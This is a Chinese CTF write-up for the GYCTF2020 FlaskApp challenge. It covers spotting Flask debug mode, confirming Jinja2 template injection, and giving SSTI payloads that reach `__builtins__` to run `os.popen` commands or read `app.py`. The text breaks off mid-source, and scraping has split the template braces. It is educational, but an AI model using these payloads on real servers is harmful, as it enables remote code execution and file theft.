GYCTF2020 FlaskApp

这篇博客详细介绍了如何利用GYCTF2020 FlaskApp中的安全漏洞,特别是Server-Side Template Injection (SSTI)。作者通过信息收集发现开启了debug模式,从而能读取部分源代码。接着,作者演示了如何通过字符串拼接和倒序输出绕过WAF,读取到flag。此外,还解释了如何利用PIN码进行远程代码执行(RCE),涉及对系统信息的获取和计算。

GYCTF2020 FlaskApp,老规矩,还是buu的平台

知识点

  • flask的SSTI
  • ssti的绕过(拼接字符串,倒序切片,内置对象、函数)
  • pin码的生成

信息收集

因为题目名flask,所以先不进行常规信息收集,而是观察功能点,寻找易发生ssti的功能
在这里插入图片描述
提示里貌似没有什么信息,考虑到功能异常抛出常见于解密环节,所以随便输段不能解密的
在这里插入图片描述
直接报错抛出debug信息,看来是开启了debug模式
参见该文章:Flask开启debug模式等于给黑客留了后门
而且读到了app.py的部分代码
大致的逻辑就是获取text参数,进行解密,如果可以过waf则执行代码

@app.route('/decode',methods=['POST','GET'])
def decode():
    if request.values.get('text') :
        text = request.values.get("text")
        text_decode = base64.b64decode(text.encode())
        tmp = "结果 : {0}".format(text_decode.decode())
        if waf(tmp) :
            flash("no no no !!")
            return redirect(url_for('decode'))
        res =  render_template_string(tmp)

在这里插入图片描述
进一步尝试是否ssti,在加密界面对{ {6*6}}进行加密,结果为e3s2KjZ9fQ==,再在解密界面进行解密,疑似是有一定防御,那么换成{ {3+3}},成功返回在这里插入图片描述
在这里插入图片描述
说明确实存在ssti,接下来就是具体怎么利用的过程了

预备知识

在jinja2中 控制结构 {% %} 变量取值 { { }}
函数和属性

__class__         返回调用的参数类型
__bases__         返回基类列表 
__mro__           此属性是在方法解析期间寻找基类时的参考类元组 
__subclasses__()  返回子类的列表 
__globals__       以字典的形式返回函数所在的全局命名空间所定义的全局变量,与 func_globals 等价 
__builtins__      内建模块的引用,在任何地方都是可见的(包括全局),每个 Python 脚本都会自动加载,这个模块包括了很多强大的 built-in 函数,例如eval, exec, open等等

python内建函数文档

具体利用

直接读flag

首先想办法把完整的app.py读出来,方便绕waf
参考Templates Injections的payload

方便阅读我把它换行了

{
   
   % for x in ().__class__.__base__.__subclasses__() %}
{
   
   % if "warning" in x.__name__ %}
{
   
   {
   
   x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}
{
   
   %endif%}{
   
   %endfor%}

修改成

{
   
   % for c in [].__class__.__base__.__subclasses__() %}
{
   
   % if c.__name__=='catch_warnings' %}
{
   
   {
   
    c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{
   
   % endif %}{
   
   % endfor %}

记得最后要改成一行

{
   
   % for c in [].__class__.__base__.__subclasses__() %}{
   
   % if c.__name__=='catch_warnings' %}{
   
   {
   
    c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{
   
   % endif %}{
   
   % endfor %}

然后加密解密
得到结果

from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64加密',validators= [DataRequired()]) submit = SubmitField('提交') class NameForm1(FlaskForm): text = StringField(&#39
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值